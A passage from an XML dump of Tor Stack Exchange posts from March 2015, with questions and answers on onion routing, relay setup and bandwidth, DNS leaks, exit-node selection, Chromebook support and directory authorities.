rel=&quot;nofollow&quot;&gt;http://kb.mozillazine.org/UserContent.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3542" LastEditorUserId="3542" LastEditDate="2015-03-03T04:29:17.347" LastActivityDate="2015-03-03T04:29:17.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6316" PostTypeId="2" ParentId="6311" CreationDate="2015-03-01T16:48:56.433" Score="3" Body="&lt;p&gt;directory server periodically uploads the list of nodes that are available for relaying data. client selects three nodes from this list and gets their public key using which it encrypt data multiple times and sends data to first node of the circuit. each node in the circuit decrypts one layer using their private key. and exit node send data to the destination.&lt;/p&gt;&#xA;" OwnerUserId="6772" LastActivityDate="2015-03-01T16:48:56.433" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6318" PostTypeId="1" CreationDate="2015-03-02T09:12:01.487" Score="4" ViewCount="45483" Body="&lt;p&gt;I am thinking of getting a Chromebook in the not so distant future. However, I want to be able to use Tor on it. However, since, at least that is my perception, everything goes through Google, will Tor then be available on a Chromebook?&lt;/p&gt;&#xA;" OwnerUserId="6849" LastEditorDisplayName="user194" LastEditDate="2015-03-03T05:44:09.320" LastActivityDate="2017-05-10T06:52:49.747" Title="Tor for Chromebook" Tags="|tor-browser-bundle|chrome-os|" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-04T08:25:44.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="6319" PostTypeId="1" CreationDate="2015-03-02T09:49:01.793" Score="2" ViewCount="111" Body="&lt;p&gt;I read that Tor proxy maintains key with each Tor node for encryption. Then, why does a Tor node maintains TLS keys with other Tor nodes?&lt;/p&gt;&#xA;" OwnerUserId="6844" LastEditorUserId="6597" LastEditDate="2015-03-02T15:49:07.953" LastActivityDate="2015-03-08T09:11:42.150" Title="Why Tor node maintains TLS keys with every other Tor node?" Tags="|encryption|transparent-proxy|tls|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6321" PostTypeId="1" AcceptedAnswerId="6323" CreationDate="2015-03-02T17:04:03.513" Score="3" ViewCount="423" Body="&lt;p&gt;The Vidalia bundles are still advertised in the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowserBundle3FAQ#HowdoIconfigureTorasarelayorbridge&quot; rel=&quot;nofollow&quot;&gt;TBB3 FAQ&lt;/a&gt;, but &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;no longer available to download&lt;/a&gt;. What should Windows users who want to run a &lt;strong&gt;middle relay&lt;/strong&gt; do? Conversely, should operators stop running relay that were set up with the last downloadable &lt;code&gt;vidalia-relay-bundle-0.2.4.23-0.2.21.exe&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6852" LastActivityDate="2015-03-08T09:06:33.017" Title="Continue running middle relay with Vidalia 0.2.21 (Tor 2.4.23)?" Tags="|relays|windows|vidalia|middle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6322" PostTypeId="2" ParentId="6239" CreationDate="2015-03-02T17:06:28.137" Score="1" Body="&lt;p&gt;When you set up a hidden service it is bound to some service (web server, chat server etc.). This server sits on your computer inside your network. So if someone connects to your hidden service, it connects over Tor to your service. All traffic which goes back and forth goes through your network and so uses your bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-03-02T17:06:28.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6323" PostTypeId="2" ParentId="6321" CreationDate="2015-03-02T20:20:27.333" Score="3" Body="&lt;p&gt;Vidalia is no longer officially supported. I believe that any remaining references to Vidalia are accidental or historical. If you want to run a relay on Windows, just download the latest tor browser bundle. The bundle includes the latest stable version of tor. Edit your torrc (local inside the downloaded bundle directory) as you normally would to set yourself up as a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since relays are meant to be up for long periods of time, have you considered switching to linux? Mandatory Windows restarts every week mean unnecessary downtime for your relay. Doing a fresh minimal install of debian is easy and will probably be better for relay stability. If you don't want to wipe your laptop, dual booting would also be a reasonable choice.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-03-02T20:20:27.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6324" PostTypeId="2" ParentId="6293" CreationDate="2015-03-02T21:24:20.237" Score="2" Body="&lt;p&gt;Finally figured it out.  I knew it was something simple I was missing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an addon to function EXACTLY like it does outside of Tor Browser, you have to allow it in Private Browsing.  I'd forgotten that TBB had Private Browsing on by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, simply add this line to your &lt;code&gt;package.json&lt;/code&gt; file before compiling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;permissions&quot;: {&quot;private-browsing&quot;: true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This in and of itself allows your addon to function in Private Browsing as it would outside Private Browsing.  It's a good idea to allow an &quot;off&quot; function for when users want privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, check out the &lt;a href=&quot;https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/private-browsing&quot; rel=&quot;nofollow&quot;&gt;MDN article&lt;/a&gt;.  It also gives extensions to enable or disable features in Private Browsing mode, but for use in Tor Browser this probably doesn't matter that much.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-03-02T21:24:20.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6326" PostTypeId="1" CreationDate="2015-03-03T06:14:53.833" Score="1" ViewCount="147" Body="&lt;p&gt;I made a mistake. I used Tor proxy in Firefox settings to access the web through Tor, but I forgot to check the Remote DNS. Tor logs warned me that some of my applications may use their own DNS. The DNS might be from my location, in my case Firefox browsing going through Tor. Do the DNS servers get aware of my clearnet IP address or just the exit node's IP?&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="6597" LastEditDate="2015-03-04T00:35:16.110" LastActivityDate="2015-03-04T01:50:02.047" Title="Do DNS servers know sensitive info about me?" Tags="|dns|ip-address-leak|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6327" PostTypeId="2" ParentId="3315" CreationDate="2015-03-03T08:50:01.853" Score="0" Body="&lt;p&gt;Orbot has no interface for errors in SSL/TLS connections. So in case there is a wrong or unknown certificate it just drops the connection and shows this error message. When you visit the page with some other browser, you'll see a certificate warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Guardian project works on integrating Firefox as a mobile browser. When this is deployed, you'll see the warning you're used to.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-03-03T08:50:01.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6328" PostTypeId="2" ParentId="6310" CreationDate="2015-03-03T16:26:38.020" Score="2" Body="&lt;p&gt;Try putting 'hk' for Hong Kong. Checking with whatismyip.com sometimes my location is reported as China and when signing up for a new Gmail account it sometimes auto-selects China as my country in the sign up form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your needs this may be close enough for you.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastEditorUserId="71" LastEditDate="2015-03-04T00:41:27.067" LastActivityDate="2015-03-04T00:41:27.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6329" PostTypeId="2" ParentId="6314" CreationDate="2015-03-03T18:34:10.317" Score="2" Body="&lt;p&gt;&lt;strong&gt;No One&lt;/strong&gt; stores the keys of the Onion Routers making the Virtual Circuit except the Tor Client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Client download the list of Onion Routers online. It creates the virtual circuit &lt;strong&gt;incrementally&lt;/strong&gt; by selecting three nodes out of that list. What I mean by incrementally here is that it selects one node and gets its public key and use this key to contact second node and so forth. Thus in the end it's only the client who knows about all the nodes consisting the virtual circuit while all Onion Routers know only the  two nodes adjacent to them.&#xA;For more details check this paper, &lt;a href=&quot;http://ieeexplore.ieee.org/xpl/articleDetails.jsp?tp=&amp;amp;arnumber=6896565&quot; rel=&quot;nofollow&quot;&gt;The TOR data communication system&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5427" LastActivityDate="2015-03-03T18:34:10.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6330" PostTypeId="2" ParentId="6319" CreationDate="2015-03-03T18:46:56.940" Score="0" Body="&lt;p&gt;An onion is meant to be peeled off layer-by-layer by the intended node. This is only possible if the data is encrypted in multiple layers using keys of the Onion Routers in sequence. This is the reason TOR client needs to store the public keys of the Onion Routers.&lt;/p&gt;&#xA;" OwnerUserId="5427" LastActivityDate="2015-03-03T18:46:56.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6331" PostTypeId="2" ParentId="6318" CreationDate="2015-03-03T18:50:42.997" Score="1" Body="&lt;p&gt;TOR is not available for Chrome. Though it is not recommended but you can choose out of various options if you have to.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://tor2web.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor2Web&lt;/a&gt; to access all the TOR Network Hidden Services ( aka .onion sites ) without TOR.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Route all the data through a proxy server using &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.android&quot; rel=&quot;nofollow noreferrer&quot;&gt;OrBot&lt;/a&gt; and &lt;em&gt;Proxy Serve&lt;/em&gt;r apps on Android Phones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, if you have a Chromebook with the Play Store on it, like the Asus Chromebook Flip, you can run Orbot and Orfox independently of the Chrome browser, and therefore access Tor!&lt;/p&gt;&#xA;" OwnerUserId="5427" LastEditorUserId="16657" LastEditDate="2017-05-10T06:52:49.747" LastActivityDate="2017-05-10T06:52:49.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6332" PostTypeId="2" ParentId="6326" CreationDate="2015-03-04T01:50:02.047" Score="2" Body="&lt;p&gt;Tor is saying that a program did not use DNS through Tor and instead used DNS through your clearnet IP address. While the DNS server, and those that saw your connection to the DNS server, do not know what you did on the website you connected to, provided there was an encrypted connection to the site. They may be able to figure out what you did on the visited server using a timing attack or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you perform a DNS request for google.com through your clearnet IP Address, and now your DNS server now knows you visited google. They don't know what you did directly however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit a site and it performs a DNS request through your clearnet, your DNS server does know that you were trying to contact the server, website, in some way. (e.g. ping or viewing a webpage)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-03-04T01:50:02.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6333" PostTypeId="2" ParentId="6313" CreationDate="2015-03-04T01:56:40.087" Score="2" Body="&lt;p&gt;CodesInChaos is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit a website they can view the IP address you connect from. That is how Google views your IP address, as for the captcha your browser connects to Google's servers. &lt;strong&gt;When you connect to a site they can see your IP address, regardless if you enter a captcha or not.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-03-04T01:56:40.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6334" PostTypeId="2" ParentId="6306" CreationDate="2015-03-04T10:44:55.577" Score="2" Body="&lt;p&gt;It depends on the country and how repressive it is.  For certain countries, running bridges is considered a bad idea to the point where even if one is provided, BridgeDB will never distribute it to clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12843&quot; rel=&quot;nofollow&quot;&gt;ticket #12843 - &quot; Bridgedb shouldn't handout bridges from .ir and .sy&quot;&lt;/a&gt; for concrete examples of this including the rationale.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-03-04T10:44:55.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6335" PostTypeId="1" AcceptedAnswerId="6348" CreationDate="2015-03-04T14:00:19.590" Score="4" ViewCount="709" Body="&lt;p&gt;I want to run 2 (or more) tor instances on the same machine&#xA;each one on different port,but i want to make sure that those 2 instance will never have the same exit node or ip at the same time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am thinking of using  &lt;code&gt;ExitNodes node,node,…&lt;/code&gt; in torrc file,but i don't know how to choose unique  nodes for each instance (without the country )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example &lt;code&gt;ExitNodes 1,2,3,4,.....,100&lt;/code&gt; for the first instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;ExitNodes 100,101,102,.....200&lt;/code&gt; for the second one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can't find any informations about the fingerprints of nodes,only the country codes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;why doesn't tor identify each node with a unique id &lt;/p&gt;&#xA;" OwnerUserId="6865" LastEditorUserId="6597" LastEditDate="2015-03-05T11:02:27.873" LastActivityDate="2015-03-06T14:51:06.017" Title="Is it possible to choose unique different exit-nodes for Tor?" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6336" PostTypeId="1" AcceptedAnswerId="6337" CreationDate="2015-03-05T00:01:04.203" Score="1" ViewCount="102" Body="&lt;p&gt;Dear those experts who are familiar with Directory Protocol,&#xA;I just search on Atlas for Authorities Directories and found there are 10, include &quot;&lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;Tonga&lt;/a&gt;&quot;. But when I check the &lt;a href=&quot;https://consensus-health.torproject.org/consensus-health.html&quot; rel=&quot;nofollow&quot;&gt;Consensus Health&lt;/a&gt; I found that &quot;&lt;a href=&quot;https://atlas.torproject.org/#details/4A0CCD2DDC7995083D73F5D667100C8A5831F16D&quot; rel=&quot;nofollow&quot;&gt;Tonga&lt;/a&gt;&quot; is not on the list of &quot;Signatures&quot;, &quot;Known flags&quot;, &quot;Number of relays voted about&quot;, &quot;Consensus methods&quot;; while the node named &quot;consensus&quot; did not appear in Atlas, but is on those list and can vote the &quot;network status&quot;.&#xA;So may question is that:&#xA;Is &quot;Tonga&quot; really an Authority Directory?&#xA;IS &quot;Tonga&quot; and &quot;consensus&quot; a same node?&#xA;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-03-05T07:25:35.417" Title="What is the difference between Atlas and Consensus health?" Tags="|directory|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6337" PostTypeId="2" ParentId="6336" CreationDate="2015-03-05T07:25:35.417" Score="2" Body="&lt;p&gt;The difference is because Tonga is a little special. Unlike the other directory authorities Tonga doesn't vote in the consensus (iirc it's the bridge authority). Take a peek at the following list...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/stem.git/tree/stem/descriptor/remote.py#n674&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/stem.git/tree/stem/descriptor/remote.py#n674&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Tonga doesn't have a v3ident. Tonga is an authority, but doesn't vote so for things like Consensus Health which are concerned with the consensus it's moot.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-03-05T07:25:35.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6338" PostTypeId="1" AcceptedAnswerId="6346" CreationDate="2015-03-05T07:36:20.467" Score="4" ViewCount="118" Body="&lt;p&gt;For example, would it be more helpful to the network to setup one relay that had 4TB  of bandwidth, or two relays that each had 2TB? Does the answer change depending on the amount of bandwidth each relay would have?&lt;/p&gt;&#xA;" OwnerUserId="6868" LastEditorUserId="6868" LastEditDate="2015-03-05T16:28:19.037" LastActivityDate="2015-03-06T11:05:41.450" Title="Better to run one relay or two, given equal total bandwidth?" Tags="|relays|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6339" PostTypeId="1" AcceptedAnswerId="6358" CreationDate="2015-03-05T11:55:49.273" Score="1" ViewCount="227" Body="&lt;p&gt;I recently started running a relay on my NAS. While the relay itself is running fine (no errors from tor itself), and I understand that I won't get much traffic for the first two days (I've read &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; article), I have some problems with the graphs on atlas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graphs on the &lt;a href=&quot;https://atlas.torproject.org/#details/AF0FB2C1E7F964A19DE346794FA0B0E37B6FE33F&quot; rel=&quot;nofollow&quot;&gt;details page of my relay&lt;/a&gt; are not updating. They still show only data up until 2015-03-04 9AM (for the bandwidth graph) or 7:30PM for the consensus weight graph. &#xA;They also didn't change at all since I checked them yesterday evening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my relay? And if so, how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: when I check on my relay with arm, I get this message (among others):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ARM_NOTICE] Read the last day of bandwidth history from the state file (7 hours is missing)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-07T22:34:35.230" Title="Graphs on Atlas not updating" Tags="|relays|atlas|nyx|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6340" PostTypeId="2" ParentId="6338" CreationDate="2015-03-05T12:39:42.853" Score="2" Body="&lt;p&gt;One relay with 4TB, with the relay using up the 4TB quota as fast as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faster relays are more attractive to traffic, so the network is better off if you move that 4TB in a week then hibernate for 3 weeks than if you throttled down the bandwidth to keep the relay active all month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, a single relay is easier to administer.&lt;/p&gt;&#xA;" OwnerUserId="6870" LastActivityDate="2015-03-05T12:39:42.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6341" PostTypeId="1" AcceptedAnswerId="6344" CreationDate="2015-03-05T16:30:11.380" Score="1" ViewCount="1258" Body="&lt;p&gt;as an extra layer of security, I want to use client site SSL certificates for authentication on my hidden-service webserver. Within the original Firefox (version 36.0)  this is already working (with tor as socks5 proxy), but when I try to import the client certificate (client.pfx)in TBB, the same way as I did in Firefox, simply nothing happens (he should ask me for the certificate password).   I'm wondering is this a Bug or is it suppose to be like this because client certificates with in the Browser certificate store are some how a threat to anonymity (witch then needs to be explained, because my Firefox always ask me if i want to sent my client cert)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I relay would love to use client cert's on my hidden-service because I hate password's. Maybe somebody can give me a hint how I can do this or if this is impossible with the TBB ?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OS: Ubuntu 14.04 amd64&#xA;TBB: 4.0.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6872" LastActivityDate="2015-03-06T00:37:28.613" Title="Import a SSL Client Certificate into the Tor Browser" Tags="|tor-browser-bundle|onion-services|client|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6342" PostTypeId="1" AcceptedAnswerId="6357" CreationDate="2015-03-05T16:36:39.803" Score="6" ViewCount="1964" Body="&lt;p&gt;I know &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in?id=tor-0.2.5.10#n102&quot; rel=&quot;nofollow noreferrer&quot;&gt;the minimum required rate is 20KB&lt;/a&gt;, and &lt;a href=&quot;https://tor.stackexchange.com/a/6158/6868&quot;&gt;the minimum rate to be considered &quot;fast&quot; is around 100KB&lt;/a&gt;, but even the &quot;fast&quot; rate seems incredibly slow to me, compared to the average download speed of a residential broadband connection in the US (~4 MB/s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a rough consensus around a recommended minimum rate that meets the expectations of the average Tor user?&lt;/p&gt;&#xA;" OwnerUserId="6868" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2022-04-23T22:10:47.073" Title="What's a good RelayBandwidthRate?" Tags="|relays|bandwidth|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6343" PostTypeId="2" ParentId="6339" CreationDate="2015-03-05T16:56:14.977" Score="1" Body="&lt;p&gt;Same with Globe. I'm getting the same things as you since last night at around 8 PM CST. Appears to be a problem with the main Tor website. Just give it a few hours. I'm sure they are working on it already. :)&lt;/p&gt;&#xA;" OwnerUserId="6763" LastActivityDate="2015-03-05T16:56:14.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6344" PostTypeId="2" ParentId="6341" CreationDate="2015-03-06T00:37:28.613" Score="1" Body="&lt;p&gt;I think this is a known bug.  See: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14269&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/14269&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4947" LastActivityDate="2015-03-06T00:37:28.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6345" PostTypeId="2" ParentId="6342" CreationDate="2015-03-06T10:49:59.917" Score="6" Body="&lt;p&gt;There's basically always a shortage of bandwidth in the Tor network, so &lt;strong&gt;every amount of Bandwidth you can donate helps&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, your relay usually serves more than one circuit at a time, so any one connection that's going through your relay will receive only a share of your bandwidth anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of circuits goes up the more bandwidth you donate, so it doesn't really matter for the &lt;em&gt;individual&lt;/em&gt; connections, as long as you have some minimum, but the more bandwidth you donate, the faster the network will become &lt;em&gt;overall&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that your relay won't be fully utilized from the start. The network needs time to &quot;get to know&quot; your relay. Check out &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; blog-post about the life-cycle of a new relay.&lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-06T10:49:59.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6346" PostTypeId="2" ParentId="6338" CreationDate="2015-03-06T11:05:41.450" Score="2" Body="&lt;p&gt;One relay is probably better, both for performance and anonymity (assuming the relays would run on the same machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performance: There's no obvious performance gain by running two relays with half the bandwidth, since you should add the other relay to the MyFamily and thus only one relay would be used per circuit. Additionally, a second relay would add overhead and maintenance work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymity: By running more circuits over one relay, the individual circuits get a better anonymity as long as the relay isn't compromised (the same reason why being a relay improves the anonymity for your own browsing). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to run two relays in geographically seperate locations, that could be worth it, though.&lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-06T11:05:41.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6347" PostTypeId="2" ParentId="6283" CreationDate="2015-03-06T11:27:41.213" Score="0" Body="&lt;p&gt;Is there a reason why you want to run the Tor process from the TBB?&#xA;If not, I think a standalone Tor (expert bundle) installation could be better suited for your needs. You can get it &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-06T11:27:41.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6348" PostTypeId="2" ParentId="6335" CreationDate="2015-03-06T14:51:06.017" Score="2" Body="&lt;p&gt;Tor does indeed identify each node with a unique ID, which is called &lt;em&gt;finerprint&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the fingerprints of some exit nodes via &lt;a href=&quot;https://globe.torproject.org/#/search/query=flag%3Aexit&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt;. Currently, the limit of results is set to 50, so you'd have to use finer queries if you want more exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use these fingerprints with the &lt;code&gt;ExitNodes&lt;/code&gt; entry in the torrc of one tor instance and block them with the &lt;code&gt;ExcludeExitNodes&lt;/code&gt; entry in the other torrc.&lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-06T14:51:06.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6351" PostTypeId="1" CreationDate="2015-03-07T15:59:22.023" Score="2" ViewCount="1791" Body="&lt;p&gt;If I'm in certain countries I can no longer access services like Netflix and spotify etc.  Tor seems to hide IP addresses completely and I'm wondering if these services I want to access will even work if no IP address is detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor is appropriate, is it easy to set up on Mac OS X Yosemite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6881" LastEditorUserId="107" LastEditDate="2015-03-09T10:39:21.110" LastActivityDate="2015-03-11T02:43:50.040" Title="I only wish to hide my IP from services like Spotify? Is Tor good for that?" Tags="|ip-address|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6352" PostTypeId="1" CreationDate="2015-03-07T21:05:18.563" Score="3" ViewCount="39" Body="&lt;p&gt;So, I have a connection from my Linux-64-tor-2.6.3 TBB browser to an entry node in a foreign country.  That country is a very long way from here.  The node is running the latest Tor, so it's using a ECDHE* (supposedly strong) encryption cipher suite.  I look at netstat, and see only the 443 connection from here to the foreign node. While Tor appears to be working OK, I see that junk is injected into my pages (nasty stuff).  I believe the junk may come from a local hostile environment. I did not accept any additional certificates. So, if it's really local,  what's the most likely scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The ECDHE_RSA_WITH_AES256 suite can be broken on the fly (very quickly)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The certificates for the Tor node are manipulated/compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I have somehow been compromised with a trojan, in spite of only using the single encrypted Tor pipe to the foreign node, and having made a fresh OS install immediately prior to that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Your choice&lt;/p&gt;&#xA;" OwnerUserId="6882" LastActivityDate="2015-03-08T01:56:11.180" Title="What is most likely cause of page injections while using Tor?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6353" PostTypeId="2" ParentId="6227" CreationDate="2015-03-07T21:36:31.480" Score="4" Body="&lt;p&gt;Tor's &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/ChangeLog&quot; rel=&quot;nofollow&quot; title=&quot;ChangeLog&quot;&gt;ChangeLog&lt;/a&gt; provides all fixed security issues including details about the nature of the vulnerability. There isn't a single compiled list that has just the security issues, unfortunately. For the past few years we have started using CVE numbers for security issues, but since we cannot assign them ourselves this is also tricky. The bug tracker is a good resource to learn more about a bug with a given bug number, but there isn't a security tag either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Tor, it's a bit more tricky to ascertain what a security issue is - it could be one of the categories that you mentioned, but also implementation bugs where the specification isn't implemented properly or instances where the specicification was changed later could reasonably be taken into account.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-07T21:36:31.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6354" PostTypeId="2" ParentId="6134" CreationDate="2015-03-07T21:42:57.590" Score="5" Body="&lt;p&gt;Linostar's answer is on the right track, but missed the Tor version you specified. You should update to at least the 0.2.5.x series for Tor to try and detect out of memory situations and handle them smartly. I'd suggest upgrading to either 0.2.5.x or even 0.2.6.x if you don't mind an alpha to se what happens.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-07T21:42:57.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6355" PostTypeId="2" ParentId="6298" CreationDate="2015-03-07T21:56:31.883" Score="3" Body="&lt;p&gt;thanks for the question. First off, the &quot;directories&quot; you speak of are called &quot;directory authorities&quot; inside Tor. Their job is indeed to compile a list of all running Tor relays and make it available to everyone. This list is called the networkstatus consensus, and it is signed by the directory authorities. All Tor clients need this list of relays, so they download it and then verify the signature to make sure they received a valid document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not protect from an attack where the directory authorities make more than one such list, and hand out the &quot;wrong&quot; list to the target they want to attack, and the &quot;good&quot; list to everyone else. Currently, defenses against this attack are in the works in a way for clients to keep a log of the consensuses they saw so that this attack can be detected and the malicious directory authorities get replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are some misconceptions which are becoming apparent in your question. The US Defense department does not maintain the directory authorities, they are all run by individuals who do not receive government money to run these machines. Only a minority of them is located inside the US, and it needs a majority to make a consensus that your client will believe 